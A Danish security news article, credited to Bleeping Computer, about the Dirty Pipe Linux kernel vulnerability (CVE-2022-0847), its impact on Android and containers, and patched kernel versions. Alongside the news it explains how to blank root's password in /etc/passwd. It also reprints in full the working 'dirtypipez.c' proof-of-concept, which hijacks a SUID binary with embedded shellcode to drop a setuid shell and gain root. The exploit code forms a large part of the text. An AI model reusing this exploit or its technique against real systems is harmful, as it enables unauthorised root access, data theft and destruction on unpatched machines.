DirtyPipe Linux fejl giver root adgang også i Android, Docker og container miljøer

Linux driver de fleste, Hosting Centre, APPS og CMS systemer i verden og har nu en af de farligste fejl hidtil. Desuden er Linux også på Android der er omfattet samt de fleste Server Hosting Centre og skyleverandører bruger Linux. Fejlen giver direkte administrator adgang med superuser adgang til Root brugeren som er installatør brugeren eller administratoren. Altså højeste rettigheder. Med denne fejl kan der frit installeres forskellige malware, spionsoftware, Ransomware og alle data kan f.eks. slettes.

Docker og alle andre container og images miljøer er også berørt

Ser man på denne sårbarhed indenfor container software såsom Docker, var det muligt at ændre filer fra container billeder på værten, inde fra en beholder – noget, der generelt ikke bør være muligt. De fleste distributioner f.eks. Debian, Redhat, Suse, Ubuntu m.v. er berørt og dermed samtlige Hosting og Cloud udbydere.

Dette kan gøre det muligt for en hacker effektivt at ændre containere, der kører mod et delt billede, eller at forgifte et billede på en vært, så nye objektbeholdere modtager ændrede filer. For at afhjælpe dette problem skal berørte systemer – dem, der kører Linux-kerne 5.8 eller derover – lappes med det samme.

Sårbarheden spores som CVE-2022-0847 og giver en bruger uden privilegeret mulighed for at injicere og overskrive data i skrivebeskyttede filer, herunder SUID-processer, der kører som root. Ved at overskrive /etc/passwd, med x flaget, kan du skrive SU ROOT uden at opgive password og dermed opnå root rettigheder.

Dirty Pipe

Dirty Pipe som navnet er, giver lokale brugere mulighed for at få rodrettigheder gennem offentligt tilgængelige udnyttelser.

Det er sikkerhedsforskeren Max Kellermann, der i dag har afsløret Dirty Pipe sårbarheden som påvirker Linux Kernel 5.8 og senere versioner. Dette gælder således også på Android-enheder.

CVE-2022-0847

Sårbarheden spores som CVE-2022-0847 og giver en bruger uden privilegeret mulighed for at injicere og overskrive data i skrivebeskyttede filer, herunder SUID-processer, der kører som root. Ved at overskrive /etc/passwd, med x flaget, kan du skrive SU ROOT uden at opgive password.

Kellerman opdagede fejlen efter at have opsporet en fejl, der ødelagde webserveradgangslogfiler for en af hans kunder.

Offentlige udnyttelser giver rodrettigheder

Som en del af Dirty Pipe-offentliggørelse udgav Kellerman en proof-of-concept (PoC) udnyttelse, der giver lokale brugere mulighed for at injicere deres egne data i følsomme skrivebeskyttede filer, fjerne begrænsninger eller ændre konfigurationer for at give større adgang, end de normalt ville have.

For eksempel illustrerede sikkerhedsforskeren med aliaset Phith0n,  hvordan de kunne bruge udnytte til at ændre /etc/passwd-filen, så rodbrugeren ikke har en adgangskode. Når denne ændring er foretaget, kan den ikke-privilegerede bruger blot udføre kommandoen ‘su root’ for at få adgang til rodkontoen.

Hvorfor overskrev jeg /etc/passwd? Denne fil gemmer alle brugeroplysninger på Linux. Når man fjerner “x” flaget bag “root” brugeren, betyder det, at jeg har angivet en tom adgangskode til denne bruger. Så jeg kan bruge “su root” til at eskalere privilegium uden legitimationsoplysninger.

Kilde: Phith0n (@phithon_xg) 7. marts 2022

Men en opdateret udnyttelse udgivet af sikkerhedsforskeren BLASTY blev også offentliggjort i dag, der gør det endnu lettere at få rod privilegier ved at lappe / usr / bin / su kommando til at droppe en root shell på / tmp / sh og derefter udføre scriptet. Når det er udført, opnår en almindelig bruger root privilegier.

Dirty Pipe

Sårbarheden blev ansvarligt videregivet til forskellige Linux-vedligeholdere, der startede den 20. februar 2022, herunder Linux-kernesikkerhedsteamet og Android Security Team.

Mens fejlen er blevet rettet i Linux-kerner 5.16.11, 5.15.25 og 5.10.102, fortsætter mange servere med at køre forældede kerner, hvilket gør udgivelsen af denne udnytte et betydeligt problem for serveradministratorer.

Desuden udnyttes denne fejl in the wild af hackere fordi det er så nemt at få root adgang. Den lignende Dirty COW sårbarhed der var sværrere at udnytte blev brugt af hackere fra dag 1.

//
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <peter@haxx.in> // 2022-03-07

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'nssh-ed25519 AAA......n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
	/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
	0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
	0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
	0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
	0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
	0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
	0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
	0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
	0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
	0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
	0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
	0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
	0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
	0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int hax(char *filename, long offset, uint8_t *data, size_t len) {
	/* open the input file and validate the specified offset */
	const int fd = open(filename, O_RDONLY); // yes, read-only! 🙂
	if (fd < 0) {
		perror("open failed");
		return -1;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return -1;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return -1;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splicen");
		return -1;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, len);
	if (nbytes < 0) {
		perror("write failed");
		return -1;
	}
	if ((size_t)nbytes < len) {
		fprintf(stderr, "short writen");
		return -1;
	}

	close(fd);

	return 0;
}

int main(int argc, char **argv) {
	if (argc != 2) {
		fprintf(stderr, "Usage: %s SUIDn", argv[0]);
		return EXIT_FAILURE;
	}

	char *path = argv[1];
	uint8_t *data = elfcode;

	int fd = open(path, O_RDONLY);
	uint8_t *orig_bytes = malloc(sizeof(elfcode));
	lseek(fd, 1, SEEK_SET);
	read(fd, orig_bytes, sizeof(elfcode));
	close(fd);

	printf("[+] hijacking suid binary..n");
	if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
		printf("[~] failedn");
		return EXIT_FAILURE;
	}

	printf("[+] dropping suid shell..n");
	system(path);

	printf("[+] restoring suid binary..n");
	if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
		printf("[~] failedn");
		return EXIT_FAILURE;
	}

	printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))n");
	system("/tmp/sh");

	return EXIT_SUCCESS;
}

Server Hosting Centre skal være bekymrede

Denne fejl er især bekymrende for webhostingudbydere, der tilbyder Linux shell-adgang eller universiteter, der ofte giver shell-adgang til multi-user Linux-systemer.

Det har været et hårdt år for for Linux, der ellers ikke så mange sikkerhedshuller som andre operativsystemer. Men der har på det sidste været mange højt profilerede privilegium elevations sårbarheder. Disse omfatter sårbarheder i udvidelse af rettigheder i Linux ISCSI system, EBPF og POLKIT.

Kilde: Bleeping Computer

Fotokredit (C) Copyright 2022: stock.adobe.com

Scroll to Top